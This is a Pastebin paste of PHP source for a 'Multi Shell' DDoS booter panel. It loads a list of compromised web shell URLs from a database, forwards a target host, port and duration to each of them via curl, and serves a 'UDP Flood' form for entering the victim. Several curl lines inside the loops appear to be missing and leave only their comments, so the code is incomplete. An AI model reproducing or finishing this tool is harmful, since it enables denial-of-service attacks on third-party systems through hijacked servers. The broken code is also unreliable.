Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /***************************************************
- **** ========================================== ****
- **** Multi Shell! ****
- **** Coding by Orgy ****
- **** Nice Looking Code? Of course ****
- **** Because there's beauty in the breakdown. ****
- **** ========================================== ****
- ***************************************************/
- if((isset($_GET['host'])) and (isset($_GET['port'])) and (isset($_GET['time']))){ //If sending GET data
- include_once("db.php"); //Include the database connection
- $host = $_GET['host']; //Set the host GET to an easier to use variable
- $port = $_GET['port']; //Set the port GET to an easier to use variable
- $time = $_GET['time']; //Set the time GET to an easier to use variable
- $fullcurl = "?host=".$host."&time=".$time."&port=".$port; //GET data for the cURL handler
- $SQL = mysql_query("SELECT url FROM shells"); //Select the shells
- //Initialize the multi_handle
- $handles = array(); //Create an array for the handles
- while($resultSet = mysql_fetch_array($SQL)){ //While fetching the rows
- //Load the urls and send GET data
- //Only load it for 10 seconds (Long enough to send the data, can reduce this if your server is more powerful)
- //Don't echo the contents of the cURL shit
- //Add the handles to the multi_handle
- $handles[] = $ch; //Load the array into a handle
- }
- $running = null; // Create a status variable so we know when exec is done.
- do { //execute the handles
- // Call exec. This call is non-blocking, meaning it works in the background.
- usleep(200000); // Sleep while it's executing. You could do other work here, if you have any.
- } while ($running > 0); // Keep going until it's done.
- foreach($handles as $ch) // For loop to remove (close) the regular handles.
- {
- // Remove the current array handle.
- }
- // Close the multi handle
- echo "Successfully sent to all shells"; //Successful. Tell the client to start the timer if you want to implement that
- }
- ?>
- <html>
- <body>
- <center>
- <?php
- include("top.php");
- echo '<br><b>UDP Flood</b><br>
- <form action=? method=GET>
- <input type="hidden" name="action" value="boot">
- Host: <br><input type=text name=host value=><br>
- Length (seconds): <br><input type=text name=time value=><br>
- Port (rand for random) : <br><input type=text name=port value=rand><br>
- <input type=submit value=Go></form>';
- ?>
- </center>
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement